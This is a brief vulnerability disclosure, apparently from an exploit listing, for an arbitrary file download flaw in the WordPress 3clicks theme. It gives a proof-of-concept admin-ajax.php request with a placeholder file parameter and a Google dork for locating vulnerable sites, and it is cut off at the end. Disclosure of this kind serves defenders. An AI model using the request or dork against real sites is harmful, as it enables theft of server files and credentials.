WordPress Theme 3clicks Arbitrary File Download Vulnerability

WordPress Theme 3clicks suffers from Arbitrary File Download Vulnerability. POC : http://127.0.0.1/wp-admin/admin-ajax.php?action=revslidershowimage&img=LFD Google Dork : inurl:"/wp-content/themes/3clicks/" Demo Sites...